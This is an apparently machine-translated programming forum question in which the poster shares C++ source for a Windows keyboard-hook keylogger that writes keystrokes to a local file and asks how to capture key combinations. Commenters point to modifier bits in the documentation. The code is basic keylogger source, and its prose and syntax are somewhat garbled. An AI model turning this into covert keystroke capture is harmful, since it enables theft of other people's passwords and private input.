-1
我已經做了一些類型的鍵盤記錄器與C代碼:如何製作鍵盤記錄器?
define _WIN32_WINNT 0x0500
include<fstream>
include<windows.h>
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// si la tecla es presionada
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// teclas invisibles
case VK_CAPITAL: out << "<CAPLOCK>"; break;
case VK_LSHIFT: out << "<LSHIFT>"; break;
case VK_RSHIFT: out << "<RSHIFT>"; break;
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_LMENU: out << "<LEFT MENU>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<DOWN>"; break;
case VK_BACK: out << "<BACKSPACE>"; break;
case VK_TAB: out << "<TAB>"; break;
case VK_RETURN: out << "<ENTER>"; break;
case VK_PAUSE: out << "<PAUSE>"; break;
case VK_MENU: out << "<ALT>"; break;
case VK_ESCAPE: out << "<ESC>"; break;
case VK_SPACE: out << "< >"; break;
case VK_PRIOR: out << "<PAGE UP>"; break;
case VK_NEXT: out << "<PAGE DOWN>"; break;
case VK_HOME: out << "<HOME>"; break;
case VK_SELECT: out << "<SELECT>"; break;
case VK_EXECUTE: out << "<EXECUTE>"; break;
case VK_SNAPSHOT: out << "<SNAPSHOT>"; break;
case VK_HELP: out << "<HELP>"; break;
case VK_F1: out << "<F1>"; break;
case VK_F2: out << "<F2>"; break;
case VK_F3: out << "<F3>"; break;
case VK_F4: out << "<F4>"; break;
case VK_F5: out << "<F5>"; break;
case VK_F6: out << "<F6>"; break;
case VK_F7: out << "<F7>"; break;
case VK_F8: out << "<F8>"; break;
case VK_F9: out << "<F9>"; break;
case VK_F10: out << "<F10>"; break;
case VK_F11: out << "<F11>"; break;
case VK_F12: out << "<F12>"; break;
case 93: out << "<CONTEXT MENU>"; break;
//fin de las teclas invisibles
default:
out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
MessageBox(NULL, "Presione Aceptar para dejar de Registrar.", "Información", MB_OK);
out.close();
return 0;
}
}
此代碼只註冊,我已經定義鍵的一堆,但它並沒有捕捉組合鍵,如ALT + E鍵,Shift + 8或「@」符號的ctrl + alt + 2。
我做了一些研究,發現一個叫RegisterHotKey
的函數,但是我不知道如何在上面的代碼中使用它。如何修復我的代碼以註冊包括密鑰組合在內的所有密鑰?
我知道如何註冊這些密鑰,我只想知道如何註冊多個鍵或組合鍵 –
@AjjandroArenas:看看文檔。每個shift鍵都有一些位。您可以檢查多個位以檢查多個組合。 –
謝謝,我會去看看。 –